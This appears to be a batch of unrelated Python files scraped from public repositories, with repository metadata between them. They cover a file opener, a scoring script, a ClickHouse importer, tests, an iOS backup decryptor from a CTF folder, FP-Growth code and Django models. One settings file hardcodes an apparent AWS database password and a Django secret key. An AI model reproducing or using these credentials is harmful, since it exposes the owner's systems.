if os.environ.get('KDE_FULL_SESSION') == 'true':
desktop_environment = 'kde'
elif os.environ.get('GNOME_DESKTOP_SESSION_ID'):
desktop_environment = 'gnome'
else:
try:
info = commands.getoutput('xprop -root _DT_SAVE_MODE')
if ' = "xfce4"' in info:
desktop_environment = 'xfce'
except (OSError, RuntimeError):
pass
return desktop_environment
def register_X_controllers():
if _iscommand('kfmclient'):
_controllers['kde-open'] = KfmClient()
for command in ('gnome-open', 'exo-open', 'xdg-open'):
if _iscommand(command):
_controllers[command] = Controller(command)
def get():
controllers_map = {
'gnome': 'gnome-open',
'kde': 'kde-open',
'xfce': 'exo-open',
}
desktop_environment = detect_desktop_environment()
try:
controller_name = controllers_map[desktop_environment]
return _controllers[controller_name].open
except KeyError:
if _controllers.has_key('xdg-open'):
return _controllers['xdg-open'].open
else:
return webbrowser.open
if os.environ.get("DISPLAY"):
register_X_controllers()
_open = get()
def open(filename):
'''Open a file or an URL in the registered default application.'''
return _open(filename)
| [
"arnaud@geometry.ee"
] | arnaud@geometry.ee |
81c12aa06351a46d66c2728acf26102e592fa5da | 3abd7d66e5e3923383faaef19ff2cf8f1bd5f72e | /evaluate.py | 6ac5ea4412305a1c657353c9b256c5f3b061f87d | [] | no_license | Piaktipik/RVSS_Workshop | 9af190873bff179b3529bb3533262165bcf23109 | 35b5c822ef6da91e73be9322c9354aa62234cb31 | refs/heads/master | 2023-02-27T17:47:25.693839 | 2021-02-05T00:34:35 | 2021-02-05T00:34:35 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,767 | py | #!/usr/bin/env python3
import ast
import numpy as np
import json
#
def parse_groundtruth(fname: str) -> dict:
with open(fname,'r') as f:
gt_dict = ast.literal_eval(f.readline())
aruco_dict = {}
for key in gt_dict:
aruco_dict[key] = np.reshape([gt_dict[key]["x"], gt_dict[key]["y"]], (2,1))
return aruco_dict
def parse_user_fruit(fname: str) -> dict:
with open(fname, 'r') as f:
usr_dict = ast.literal_eval(f.read())
fruit_dict = {}
for f in usr_dict:
fruit_dict[f] = np.reshape([usr_dict[f][0],usr_dict[f][1]], (2,1))
return fruit_dict
def match_aruco_points(aruco0: dict, aruco1: dict):
missing_fruit = []
points0 = []
points1 = []
keys = []
for key in aruco1:
if not key in aruco0:
missing_fruit.append(key)
continue
if np.isnan(aruco0[key][0]) or np.isnan(aruco0[key][1]):
missing_fruit+=1
continue
points0.append(aruco0[key])
points1.append(aruco1[key])
keys.append(key)
return np.hstack(points0), np.hstack(points1), missing_fruit, keys
def parse_user_fruit(fname : str) -> dict:
with open(fname, 'r') as f:
usr_dict = ast.literal_eval(f.read())
fruit_dict = {}
for f in usr_dict:
fruit_dict[f] = np.reshape([usr_dict[f][0],usr_dict[f][1]], (2,1))
return fruit_dict
def solve_umeyama2d(points1, points2):
# Solve the optimal transform such that
# R(theta) * p1_i + t = p2_i
assert(points1.shape[0] == 2)
assert(points1.shape[0] == points2.shape[0])
assert(points1.shape[1] == points2.shape[1])
# Compute relevant variables
num_points = points1.shape[1]
mu1 = 1/num_points * np.reshape(np.sum(points1, axis=1),(2,-1))
mu2 = 1/num_points * np.reshape(np.sum(points2, axis=1),(2,-1))
sig1sq = 1/num_points * np.sum((points1 - mu1)**2.0)
sig2sq = 1/num_points * np.sum((points2 - mu2)**2.0)
Sig12 = 1/num_points * (points2-mu2) @ (points1-mu1).T
# Sig12 = 1/num_points * (points2-mu2) @ (points1-mu1).T @ np.linalg.pinv((points1-mu1)@(points1-mu1).T)
# Use the SVD for the rotation
U, d, Vh = np.linalg.svd(Sig12)
S = np.eye(2)
if np.linalg.det(Sig12) < 0:
S[-1,-1] = -1
# Return the result as an angle and a 2x1 vector
R = U @ S @ Vh
theta = np.arctan2(R[1,0],R[0,0])
x = mu2 - R @ mu1
return theta, x
def apply_transform(theta, x, points):
# Apply an SE(2) transform to a set of 2D points
assert(points.shape[0] == 2)
c, s = np.cos(theta), np.sin(theta)
R = np.array(((c, -s), (s, c)))
points_transformed = R @ points + x
return points_transformed
def compute_rmse(points1, points2):
# Compute the RMSE between two matched sets of 2D points.
assert(points1.shape[0] == 2)
assert(points1.shape[0] == points2.shape[0])
assert(points1.shape[1] == points2.shape[1])
num_points = points1.shape[1]
residual = (points1-points2).ravel()
MSE = 1.0/num_points * np.sum(residual**2)
return np.sqrt(MSE)
if __name__ == '__main__':
import argparse
parser = argparse.ArgumentParser("Solve the RVSS alignment problem")
parser.add_argument("groundtruth", type=str, help="The ground truth file name.")
parser.add_argument("estimate", type=str, help="The estimate file name.")
args = parser.parse_args()
gt_aruco = parse_groundtruth(args.groundtruth)
us_aruco = parse_user_fruit(args.estimate)
us_vec, gt_vec, missing, taglist = match_aruco_points(us_aruco, gt_aruco)
rmse = compute_rmse(us_vec, gt_vec)
print("The RMSE before alignment: {}".format(rmse))
theta, x = solve_umeyama2d(us_vec, gt_vec)
us_vec_aligned = apply_transform(theta, x, us_vec)
print("The following parameters optimally transform the estimated points to the ground truth.")
print("Rotation Angle: {}".format(theta))
print("Translation Vector: ({}, {})".format(x[0,0], x[1,0]))
rmse = compute_rmse(us_vec_aligned, gt_vec)
print("Successfully detect {} kinds of fruits, missing {}".format(4-len(missing), missing))
print("The RMSE after alignment: {}".format(rmse))
mark = (100-25*len(missing))*(1.05-rmse/2)
print()
print("Pred Fruit")
print(taglist)
print("Real Locations")
print("np.array("+np.array2string(gt_vec, precision=4, separator=',')+')')
print("Aligned Pred Locations")
print("np.array("+np.array2string(us_vec_aligned, precision=4, separator=',')+')')
print("The final mark is {}".format(mark))
| [
"u6139430@anu.edu.au"
] | u6139430@anu.edu.au |
67f524f456ca9e7e1feca8663cf6713d9eca575c | 18670f3ce7e626a60423df66e090044054f35488 | /desy_r/private/secretsettings.py | b9019ce36c8f3917c03334e96365999a0558500d | [] | no_license | camrock1/desy-reporting | b64d5dd467a2f20c796c1382e1e3fbe857587a0f | c523dea758f22e3ee5c1a581bc78940665a1696a | refs/heads/master | 2022-02-12T16:43:01.044690 | 2016-11-04T02:38:27 | 2016-11-04T02:38:27 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 117 | py | AWS_RDS_USER = 'alexlanders'
AWS_RDS_PASS = 'Manf0rd123'
S_KEY = '-#2^f&v4_0nd!6%9oi*stx1pb6ja=fuoyv%1kg_d=ypia*9(7+' | [
"alex.landers@me.com"
] | alex.landers@me.com |
bd7de553f05fa1f867155984ed21d76ea04a8ccb | e9db99651ec062fb0c924d01e5f29dfcd8e9ec1d | /clickhouse_import.py | 77dc9bc0e2eff61c0b1ca4a9de5e5060509edf41 | [] | no_license | whspr/clickhouse_py_xml_importer | b14c0a5847a36f077e0dbaf1ed4b1a3b389bd50a | ee686ae151f80c9c151a6890b47e5f47a2e8477f | refs/heads/master | 2022-12-11T17:09:36.445944 | 2017-05-27T15:40:59 | 2017-05-27T15:40:59 | 92,607,136 | 5 | 0 | null | 2022-12-07T23:56:12 | 2017-05-27T15:28:02 | Python | UTF-8 | Python | false | false | 4,002 | py | __author__ = 'whspr'
from lxml import etree
from time import time
import datetime
from infi.clickhouse_orm import models as md
from infi.clickhouse_orm import fields as fd
from infi.clickhouse_orm import engines as en
from infi.clickhouse_orm.database import Database
class Data(md.Model):
"""
structure of your data
"""
# describes datatypes and fields
available = fd.StringField()
category_id = fd.StringField()
currency_id = fd.StringField()
delivery = fd.StringField()
description = fd.StringField()
item_id = fd.StringField()
modified_time = fd.DateField()
name = fd.StringField()
oldprice = fd.StringField()
picture = fd.StringField()
price = fd.StringField()
sales_notes = fd.StringField()
topseller = fd.StringField()
# creating an sampled MergeTree
engine = en.MergeTree('modified_time', ('available', 'category_id', 'currency_id', 'delivery',
'description', 'item_id', 'name', 'oldprice', 'picture',
'price', 'sales_notes', 'topseller'))
def safely_get_data(element, key):
"""
Get value or return and error value
:param element: branch name with 'key: value' couple
:param key: key name
:return: value of 'key: value' couple or error message
"""
try:
for child in element:
if child.tag == key:
return child.text
except:
return "not found"
def parse_clickhouse_xml(filename, db_name, db_host):
"""
Parse xml file and insert it into db
:param filename: file name
:param db: database name
:param db_host: database host and port. Example: http://localhost:8123
"""
data_buffer = []
t = time()
# start read file
for event, offer in etree.iterparse(filename, tag="offer"):
# getting values
available = offer.attrib['available']
category_id = safely_get_data(offer, 'categoryId')
currency_id = safely_get_data(offer, 'currencyId')
delivery = safely_get_data(offer, 'delivery')
description = safely_get_data(offer, 'description')
item_id = offer.attrib['id']
modified_time = safely_get_data(offer, 'modified_time')
name = safely_get_data(offer, 'name')
oldprice = safely_get_data(offer, 'oldprice')
picture = safely_get_data(offer, 'picture')
price = safely_get_data(offer, 'price')
sales_notes = safely_get_data(offer, 'sales_notes')
topseller = safely_get_data(offer, 'top_seller')
# convert datatime from unix datetime style
modified_time = datetime.datetime.fromtimestamp(int(modified_time)).strftime('%Y-%m-%d')
# inserting data into clickhouse model representation
insert_data = Data(
available= available,
category_id= category_id,
currency_id= currency_id,
delivery= delivery,
description= description,
item_id= item_id,
modified_time= modified_time,
name= name,
oldprice= oldprice,
picture= picture,
price= price,
sales_notes= sales_notes,
topseller= topseller
)
# appends data into couple
data_buffer.append(insert_data)
offer.clear()
# print elasped time value to prepare a couple of data instances
print "time to prepare %s data %s" % (len(data_buffer), time() - t)
# open database with database name and database host values
db = Database(db_name, db_url=db_host)
# create table to insert prepared data
db.create_table(Data)
t = time()
# insert prepared data into database
db.insert(data_buffer)
print "time to insert %s" % (time() - t)
if __name__ == '__main__':
parse_clickhouse_xml(
'data.xml',
'database',
'http://localhost:8123'
) | [
"into.the.dissonance@gmail.com"
] | into.the.dissonance@gmail.com |
9d06f25c74335110a8269e61dfd06f9c67088181 | 71afd03278068857a979ba57b0892d4fb44387a2 | /tests/gdata_tests/contentforshopping_test.py | 79666626f5450b26025b783ea41c70cf440e3e2f | [
"Apache-2.0"
] | permissive | dvska/gdata-python3 | 9848717aca61f9e34ebfc3b4b291c6f75aaabc4b | a34c35901473e4ba7223ea4607136141301fbe88 | refs/heads/master | 2021-06-02T20:42:37.570392 | 2020-12-24T10:17:47 | 2020-12-24T10:17:47 | 93,769,460 | 19 | 25 | Apache-2.0 | 2020-12-24T10:17:49 | 2017-06-08T16:18:42 | Python | UTF-8 | Python | false | false | 3,411 | py | #
# Copyright 2009 Google Inc. All Rights Reserved.
#
# Licensed under the Apache License 2.0;
"""Content API for Shopping tests"""
# __author__ = 'afshar (Ali Afshar)'
import unittest
from gdata.contentforshopping import client
class CFSClientTest(unittest.TestCase):
def test_uri_missing_account_id(self):
c = client.ContentForShoppingClient()
self.assertRaises(ValueError, c._create_uri,
account_id=None, projection=None, resource='a/b')
def test_uri_bad_projection(self):
c = client.ContentForShoppingClient()
self.assertRaises(ValueError, c._create_uri,
account_id='123', projection='banana', resource='a/b')
def test_good_default_account_id(self):
c = client.ContentForShoppingClient(account_id='123')
uri = c._create_uri(account_id=None, projection=None, resource='a/b')
self.assertEqual(uri,
'https://content.googleapis.com/content/v1/123/a/b/generic')
def test_override_request_account_id(self):
c = client.ContentForShoppingClient(account_id='123')
uri = c._create_uri(account_id='321', projection=None, resource='a/b')
self.assertEqual(uri,
'https://content.googleapis.com/content/v1/321/a/b/generic')
def test_default_projection(self):
c = client.ContentForShoppingClient(account_id='123')
uri = c._create_uri(account_id=None, projection=None, resource='a/b')
self.assertEqual(c.cfs_projection, 'generic')
self.assertEqual(uri,
'https://content.googleapis.com/content/v1/123/a/b/generic')
def test_default_projection_change(self):
c = client.ContentForShoppingClient(account_id='123', projection='schema')
uri = c._create_uri(account_id=None, projection=None, resource='a/b')
self.assertEqual(c.cfs_projection, 'schema')
self.assertEqual(uri,
'https://content.googleapis.com/content/v1/123/a/b/schema')
def test_request_projection(self):
c = client.ContentForShoppingClient(account_id='123')
uri = c._create_uri(account_id=None, projection='schema', resource='a/b')
self.assertEqual(c.cfs_projection, 'generic')
self.assertEqual(uri,
'https://content.googleapis.com/content/v1/123/a/b/schema')
def test_request_resource(self):
c = client.ContentForShoppingClient(account_id='123')
uri = c._create_uri(account_id=None, projection=None, resource='x/y/z')
self.assertEqual(uri,
'https://content.googleapis.com/content/v1/123/x/y/z/generic')
def test_path_single(self):
c = client.ContentForShoppingClient(account_id='123')
uri = c._create_uri(account_id=None, projection=None, resource='r',
path=['1'])
self.assertEqual(uri,
'https://content.googleapis.com/content/v1/123/r/generic/1')
def test_path_multiple(self):
c = client.ContentForShoppingClient(account_id='123')
uri = c._create_uri(account_id=None, projection=None, resource='r',
path=['1', '2'])
self.assertEqual(uri,
'https://content.googleapis.com/content/v1/123/r/generic/1/2')
if __name__ == '__main__':
unittest.main()
| [
"OR"
] | OR |
579336648163e63ff39d3fbf581b6bad5c221ccf | 15a5387c4ad0327b4b08571e5f14fa83a0b686fd | /dec23/decrypt.py | a5b4873bd15ce0acf1f4ff57d33f1ee136ecd843 | [] | no_license | maennel/hackvent2020 | f0759d32a902aa7582e233233d45c84f1cc775c9 | 4b176d5ab322b205cd54e2325b2398e9fc51232e | refs/heads/master | 2023-02-10T23:10:53.643922 | 2021-01-04T15:42:33 | 2021-01-04T15:42:33 | 325,392,045 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 11,217 | py | #!/usr/bin/env python3.7
# coding: UTF-8
from __future__ import print_function
from __future__ import division
import argparse
import getpass
import os.path
import pprint
import random
import shutil
import sqlite3
import string
import struct
import tempfile
from binascii import hexlify
import Crypto.Cipher.AES # https://www.dlitz.net/software/pycrypto/
import biplist
import fastpbkdf2
from biplist import InvalidPlistException
def main():
## Parse options
parser = argparse.ArgumentParser()
parser.add_argument('--backup-directory', dest='backup_directory',
default='testdata/encrypted')
parser.add_argument('--password-pipe', dest='password_pipe',
help="""\
Keeps password from being visible in system process list.
Typical use: --password-pipe=<(echo -n foo)
""")
parser.add_argument('--no-anonymize-output', dest='anonymize',
action='store_false')
args = parser.parse_args()
global ANONYMIZE_OUTPUT
ANONYMIZE_OUTPUT = args.anonymize
if ANONYMIZE_OUTPUT:
print('Warning: All output keys are FAKE to protect your privacy')
manifest_file = os.path.join(args.backup_directory, 'Manifest.plist')
with open(manifest_file, 'rb') as infile:
manifest_plist = biplist.readPlist(infile)
keybag = Keybag(manifest_plist['BackupKeyBag'])
# the actual keys are unknown, but the wrapped keys are known
keybag.printClassKeys()
if args.password_pipe:
password = readpipe(args.password_pipe)
if password.endswith(b'\n'):
password = password[:-1]
else:
password = getpass.getpass('Backup password: ').encode('utf-8')
## Unlock keybag with password
if not keybag.unlockWithPasscode(password):
raise Exception('Could not unlock keybag; bad password?')
# now the keys are known too
keybag.printClassKeys()
## Decrypt metadata DB
print(manifest_plist.keys())
manifest_key = manifest_plist['ManifestKey'][4:]
with open(os.path.join(args.backup_directory, 'Manifest.db'), 'rb') as db:
encrypted_db = db.read()
manifest_class = struct.unpack('<l', manifest_plist['ManifestKey'][:4])[0]
key = keybag.unwrapKeyForClass(manifest_class, manifest_key)
decrypted_data = AESdecryptCBC(encrypted_db, key)
temp_dir = tempfile.mkdtemp()
try:
# Does anyone know how to get Python’s SQLite module to open some
# bytes in memory as a database?
db_filename = os.path.join(temp_dir, 'db.sqlite3')
with open(db_filename, 'wb') as db_file:
db_file.write(decrypted_data)
conn = sqlite3.connect(db_filename)
conn.row_factory = sqlite3.Row
c = conn.cursor()
# c.execute("select * from Files limit 1");
# r = c.fetchone()
c.execute("""
SELECT fileID, domain, relativePath, file
FROM Files
WHERE relativePath LIKE 'Media/PhotoData/MISC/DCIM_APPLE.plist'
ORDER BY domain, relativePath""")
results = c.fetchall()
finally:
shutil.rmtree(temp_dir)
for item in results:
fileID, domain, relativePath, file_bplist = item
plist = biplist.readPlistFromString(file_bplist)
file_data = plist['$objects'][plist['$top']['root'].integer]
size = file_data['Size']
protection_class = file_data['ProtectionClass']
encryption_key = plist['$objects'][
file_data['EncryptionKey'].integer]['NS.data'][4:]
backup_filename = os.path.join(args.backup_directory,
fileID[:2], fileID)
with open(backup_filename, 'rb') as infile:
data = infile.read()
key = keybag.unwrapKeyForClass(protection_class, encryption_key)
# truncate to actual length, as encryption may introduce padding
decrypted_data = AESdecryptCBC(data, key)[:size]
print('== decrypted data:')
print(wrap(decrypted_data))
print()
print('== pretty-printed plist')
pprint.pprint(biplist.readPlistFromString(decrypted_data))
##
# this section is mostly copied from parts of iphone-dataprotection
# http://code.google.com/p/iphone-dataprotection/
CLASSKEY_TAGS = [b"CLAS",b"WRAP",b"WPKY", b"KTYP", b"PBKY"] #UUID
KEYBAG_TYPES = ["System", "Backup", "Escrow", "OTA (icloud)"]
KEY_TYPES = ["AES", "Curve25519"]
PROTECTION_CLASSES={
1:"NSFileProtectionComplete",
2:"NSFileProtectionCompleteUnlessOpen",
3:"NSFileProtectionCompleteUntilFirstUserAuthentication",
4:"NSFileProtectionNone",
5:"NSFileProtectionRecovery?",
6: "kSecAttrAccessibleWhenUnlocked",
7: "kSecAttrAccessibleAfterFirstUnlock",
8: "kSecAttrAccessibleAlways",
9: "kSecAttrAccessibleWhenUnlockedThisDeviceOnly",
10: "kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly",
11: "kSecAttrAccessibleAlwaysThisDeviceOnly"
}
WRAP_DEVICE = 1
WRAP_PASSCODE = 2
class Keybag(object):
def __init__(self, data):
self.type = None
self.uuid = None
self.wrap = None
self.deviceKey = None
self.attrs = {}
self.classKeys = {}
self.KeyBagKeys = None #DATASIGN blob
self.parseBinaryBlob(data)
print(self.attrs)
def parseBinaryBlob(self, data):
currentClassKey = None
for tag, data in loopTLVBlocks(data):
if len(data) == 4:
data = struct.unpack(">L", data)[0]
if tag == b"TYPE":
self.type = data
if self.type > 3:
print("FAIL: keybag type > 3 : %d" % self.type)
elif tag == b"UUID" and self.uuid is None:
self.uuid = data
elif tag == b"WRAP" and self.wrap is None:
self.wrap = data
elif tag == b"UUID":
if currentClassKey:
self.classKeys[currentClassKey[b"CLAS"]] = currentClassKey
currentClassKey = {b"UUID": data}
elif tag in CLASSKEY_TAGS:
currentClassKey[tag] = data
else:
self.attrs[tag] = data
if currentClassKey:
self.classKeys[currentClassKey[b"CLAS"]] = currentClassKey
def unlockWithPasscode(self, passcode):
# passcode1 = fastpbkdf2.pbkdf2_hmac('sha256', passcode,
# self.attrs[b"DPSL"],
# self.attrs[b"DPIC"], 32)
passcode_key = fastpbkdf2.pbkdf2_hmac('sha1', passcode1,
self.attrs[b"SALT"],
self.attrs[b"ITER"], 32)
print('== Passcode key')
print(anonymize(hexlify(passcode_key)))
for classkey in self.classKeys.values():
if b"WPKY" not in classkey:
continue
k = classkey[b"WPKY"]
if classkey[b"WRAP"] & WRAP_PASSCODE:
k = AESUnwrap(passcode_key, classkey[b"WPKY"])
if not k:
return False
classkey[b"KEY"] = k
return True
def unwrapKeyForClass(self, protection_class, persistent_key):
ck = self.classKeys[protection_class][b"KEY"]
if len(persistent_key) != 0x28:
raise Exception("Invalid key length")
return AESUnwrap(ck, persistent_key)
def printClassKeys(self):
print("== Keybag")
print("Keybag type: %s keybag (%d)" % (KEYBAG_TYPES[self.type], self.type))
print("Keybag version: %d" % self.attrs[b"VERS"])
print("Keybag UUID: %s" % anonymize(hexlify(self.uuid)))
print("-"*209)
print("".join(["Class".ljust(53),
"WRAP".ljust(5),
"Type".ljust(11),
"Key".ljust(65),
"WPKY".ljust(65),
"Public key"]))
print("-"*208)
for k, ck in self.classKeys.items():
if k == 6:print("")
print("".join(
[PROTECTION_CLASSES.get(k).ljust(53),
str(ck.get(b"WRAP","")).ljust(5),
KEY_TYPES[ck.get(b"KTYP",0)].ljust(11),
anonymize(hexlify(ck.get(b"KEY", b""))).ljust(65),
anonymize(hexlify(ck.get(b"WPKY", b""))).ljust(65),
]))
print()
def loopTLVBlocks(blob):
i = 0
while i + 8 <= len(blob):
tag = blob[i:i+4]
length = struct.unpack(">L",blob[i+4:i+8])[0]
data = blob[i+8:i+8+length]
yield (tag,data)
i += 8 + length
def unpack64bit(s):
return struct.unpack(">Q",s)[0]
def pack64bit(s):
return struct.pack(">Q",s)
def AESUnwrap(kek, wrapped):
C = []
for i in range(len(wrapped)//8):
C.append(unpack64bit(wrapped[i*8:i*8+8]))
n = len(C) - 1
R = [0] * (n+1)
A = C[0]
for i in range(1,n+1):
R[i] = C[i]
for j in reversed(range(0,6)):
for i in reversed(range(1,n+1)):
todec = pack64bit(A ^ (n*j+i))
todec += pack64bit(R[i])
B = Crypto.Cipher.AES.new(kek).decrypt(todec)
A = unpack64bit(B[:8])
R[i] = unpack64bit(B[8:])
if A != 0xa6a6a6a6a6a6a6a6:
return None
res = b"".join(map(pack64bit, R[1:]))
return res
ZEROIV = "\x00"*16
def AESdecryptCBC(data, key, iv=ZEROIV, padding=False):
if len(data) % 16:
print("AESdecryptCBC: data length not /16, truncating")
data = data[0:(len(data)/16) * 16]
data = Crypto.Cipher.AES.new(key, Crypto.Cipher.AES.MODE_CBC, iv).decrypt(data)
if padding:
return removePadding(16, data)
return data
##
# here are some utility functions, one making sure I don’t leak my
# secret keys when posting the output on Stack Exchange
anon_random = random.Random(0)
memo = {}
def anonymize(s):
if type(s) == str:
s = s.encode('utf-8')
global anon_random, memo
if ANONYMIZE_OUTPUT:
if s in memo:
return memo[s]
possible_alphabets = [
string.digits,
string.digits + 'abcdef',
string.ascii_letters,
"".join(chr(x) for x in range(0, 256)),
]
for a in possible_alphabets:
if all((chr(c) if type(c) == int else c) in a for c in s):
alphabet = a
break
ret = "".join([anon_random.choice(alphabet) for i in range(len(s))])
memo[s] = ret
return ret
else:
return s
def wrap(s, width=78):
"Return a width-wrapped repr(s)-like string without breaking on \’s"
s = repr(s)
quote = s[0]
s = s[1:-1]
ret = []
while len(s):
i = s.rfind('\\', 0, width)
if i <= width - 4: # "\x??" is four characters
i = width
ret.append(s[:i])
s = s[i:]
return '\n'.join("%s%s%s" % (quote, line ,quote) for line in ret)
def readpipe(path):
if stat.S_ISFIFO(os.stat(path).st_mode):
with open(path, 'rb') as pipe:
return pipe.read()
else:
raise Exception("Not a pipe: {!r}".format(path))
if __name__ == '__main__':
main()
| [
"mjeckelmann@gmail.com"
] | mjeckelmann@gmail.com |
b0d6aed1f1db0f7b5097cc2e16707e5b2225e718 | 33cb00ba2ce1fc763d20af2a27ca518c68f3ee8c | /FpGrowth.py | 80a12690bd8446326924dafa365c6faea60013a6 | [
"MIT"
] | permissive | MohanL/apriori-Fpgrowth | 50ac552ffad3992fa49c3da9412d0c6436238f18 | 8cc6477f7bc6c86224ca50775c8a46caa77ea07c | refs/heads/master | 2021-01-10T16:22:10.126249 | 2015-12-24T11:52:28 | 2015-12-24T11:52:28 | 44,637,957 | 6 | 1 | null | null | null | null | UTF-8 | Python | false | false | 3,526 | py | """
Description : Python implementation of FpGrowth Algorithm
Usage $python main.py -f [filename] -s [minSupport] -c [minConfidence]
"""
from treelib import Node, Tree
from collections import Counter
import operator
from optparse import OptionParser
globNumberOfTransactions = 0.0
globOriginalList = None
globMinSup = 0
globMinConf = 0
def readFile(filename):
originalList = list()
file = open(filename, 'rU')
c = 0
for line in file:
c = c+1
line = line.strip().rstrip(',')
record = set(line.split(', '))
originalList.append(record)
global globNumberOfTransactions
globNumberOfTransactions = c
global globOriginalList
globOriginalList = originalList
#print(globOriginalList)
def getSizeOneItemSet(originalList):
Cone = list()
for s in originalList:
for e in s:
Cone.append(e)
return sorted(Cone)
def priorityDic(objectList):
kDict = Counter(objectList)
return kDict
def FpGrowth(fName):
readFile(fName)
Cone = getSizeOneItemSet(globOriginalList)
priorityDict = priorityDic(Cone)
#print(priorityDict)
tree = Tree()
tree.create_node("{}", "root")
#reconstruct the whole transction database based on the priority
counter = 0
for set in globOriginalList:
temp = dict()
for element in set:
priority = priorityDict.get(element)
temp.update({element:priority})
sorted_temp = sorted(temp.items(), key=operator.itemgetter(1))
sorted_temp.reverse()
#print(sorted_temp)
# construct Fp tree
root = "root"
for tuple in sorted_temp:
if(not tree.contains(tuple[0])):
tree.create_node(tuple[0], tuple[0], root, 0)
root = tuple[0]
else:
if tuple[0] in tree.is_branch(root):
#print("node already in this branch, don't know what to do")
#print("going down")
root = tuple[0]
#print(root)
else:
#print("should create a duplicate node")
tree.create_node(tuple[0], counter, root, 0)
root = counter
counter += 1
# I need to decide whether to create a new node or not
# the condition is under this branch if this node exist
# so I should check the root
tree.show()
if __name__ == "__main__":
optparser = OptionParser()
optparser.add_option('-f', '--inputFile',
dest = 'inputFile',
help = 'data file',
default = "data/test.txt")
optparser.add_option('-s','--minSupport',
dest = 'minSup',
help = 'Minimum Support',
default = 0.3,
type ='float')
optparser.add_option('-c','--minConfidence',
dest = 'minConf',
help = 'Minimum Confidence',
default = 0.6,
type ='float')
(options, args) = optparser.parse_args()
fName = None
if options.inputFile is None:
fName = "240P1/adult.data"
elif options.inputFile is not None:
fName = options.inputFile
globMinSup = options.minSup
globMinConf = options.minConf
FpGrowth(fName)
| [
"mohan.liu.personal@gmail.com"
] | mohan.liu.personal@gmail.com |
8fbf9b7344092e08c9267f703b7859249d1f88ef | 8717d1fbd4e9634d13e87e65d503aaac6ce3f4ca | /apps/products/models.py | f93950d5e69330cfd4a6565b4ea1e58bf88e223c | [] | no_license | asakeev01/Caravan | 679c1eae26647e162ba9b2cacff9960c177b247b | 84328f0ba91252c3c941aec5325ed60b074b45d6 | refs/heads/main | 2023-04-03T12:17:50.856731 | 2021-02-16T15:06:07 | 2021-02-16T15:06:07 | 339,434,774 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,518 | py | from django.db import models
from apps.categories.models import Category
class Product(models.Model):
name = models.CharField(max_length = 255)
description = models.TextField()
categories = models.ManyToManyField(Category, related_name = 'products')
def __str__(self):
return f'{self.name}'
class Colour(models.Model):
colour = models.CharField(max_length = 255)
def __str__(self):
return self.colour
class Size(models.Model):
size = models.CharField(max_length = 255)
hip = models.CharField(max_length = 255)
waist = models.CharField(max_length = 255)
def __str__(self):
return self.size
class ProductItem(models.Model):
product = models.ForeignKey(Product, on_delete = models.CASCADE, related_name = "product_items")
colour = models.ManyToManyField(Colour)
price = models.DecimalField(max_digits = 10, decimal_places = 0)
def __str__(self):
print(self.colour)
return f"{self.product.name}'s item of {self.price}"
class Quantity(models.Model):
product_item = models.ForeignKey(ProductItem, on_delete = models.CASCADE, related_name = "quantities")
size = models.ForeignKey(Size, on_delete = models.CASCADE)
quantity = models.PositiveIntegerField()
class Meta:
unique_together = ('product_item', 'size',)
verbose_name = 'Quantity'
verbose_name_plural = 'Quantities'
def __str__(self):
return f'The size {self.size} of {self.product_item.product.name} '
| [
"aidar.asakeev@gmail.com"
] | aidar.asakeev@gmail.com |
ac4fd9d309800d992975cd86089adb1fcd92fcef | 0c2023f797f1d2f35bac45755214f9aefe58c5a9 | /appium_xueqiu/page/market.py | b6b3a5623c806da67c8651a1804e41641db1b385 | [] | no_license | yofy01/Hogwarts | d844500697879e160cdc6d6df5edc09da0093517 | 56089fca86086bf8b4733e053829a93215c7b6d3 | refs/heads/master | 2023-07-14T16:08:07.952038 | 2021-08-23T13:37:39 | 2021-08-23T13:37:39 | 393,095,512 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 336 | py | # -*- coding:utf-8 -*-
from time import sleep
from selenium.webdriver.common.by import By
from appium_xueqiu.page.base_page import BasePage
from appium_xueqiu.page.search import Search
class Market(BasePage):
def goto_search(self):
'''进入搜索页'''
# click
self.steps('../page/search.yaml')
return Search(self._driver) | [
"450552640@qq.com"
] | 450552640@qq.com |
402813e46363d893f713f9b23211050e901d6869 | 293f6cea829e02564c0623a3fcd7763ed1f5d6fd | /piplapis/data/available_data.py | b2ceeb63738aea86933643708e9d1e0390a3231e | [
"Apache-2.0"
] | permissive | ivosvetla88/piplapis-python | d6fdfee814ab4a1f7ba8fb4db7002dbec61d2ab0 | 7334de5fd0f815ec88905db2f95a59df80d6fbe5 | refs/heads/master | 2021-01-17T11:45:57.013803 | 2016-03-17T10:21:31 | 2016-03-17T10:21:31 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,439 | py | from piplapis.data.utils import Serializable
class AvailableData(Serializable):
children = ('basic', 'premium')
def __init__(self, basic=None, premium=None, *args, **kwargs):
self.basic = basic
self.premium = premium
def to_dict(self):
d = {}
if self.basic is not None and type(self.basic) == FieldCount:
d['basic'] = self.basic.to_dict()
if self.premium is not None and type(self.premium) == FieldCount:
d['premium'] = self.premium.to_dict()
return d
@classmethod
def from_dict(cls, d):
basic = d.get('basic')
premium = d.get('premium')
ins = cls()
if basic is not None:
ins.basic = FieldCount.from_dict(basic)
if premium is not None:
ins.premium = FieldCount.from_dict(premium)
return ins
class FieldCount(Serializable):
children = ('addresses', 'ethnicities', 'emails', 'dobs', 'genders', 'user_ids', 'social_profiles',
'educations', 'jobs', 'images', 'languages', 'origin_countries', 'names', 'phones',
'relationships', 'usernames')
def __init__(self, addresses=None, ethnicities=None, emails=None, dobs=None,
genders=None, user_ids=None, social_profiles=None, educations=None, jobs=None, images=None,
languages=None, origin_countries=None, names=None, phones=None, relationships=None,
usernames=None, *args, **kwargs):
"""
A summary of the data within an API response
:param addresses: int, the number of addresses
:param ethnicities: int, the number of ethnicities
:param emails: int, the number of emails
:param dobs: int, the number of dobs
:param genders: int, the number of genders
:param user_ids: int, the number of user ids
:param social_profiles: int, the number of social profile sources
:param educations: int, the number of educations
:param jobs: int, the number of jobs
:param images: int, the number of images
:param languages: int, the number of languages
:param origin_countries: int, the number of origin countries
:param names: int, the number of names
:param phones: int, the number of phones
:param relationships: int, the number of relationships
:param usernames: int, the number of usernames
"""
self.dobs = dobs
self.images = images
self.educations = educations
self.addresses = addresses
self.jobs = jobs
self.genders = genders
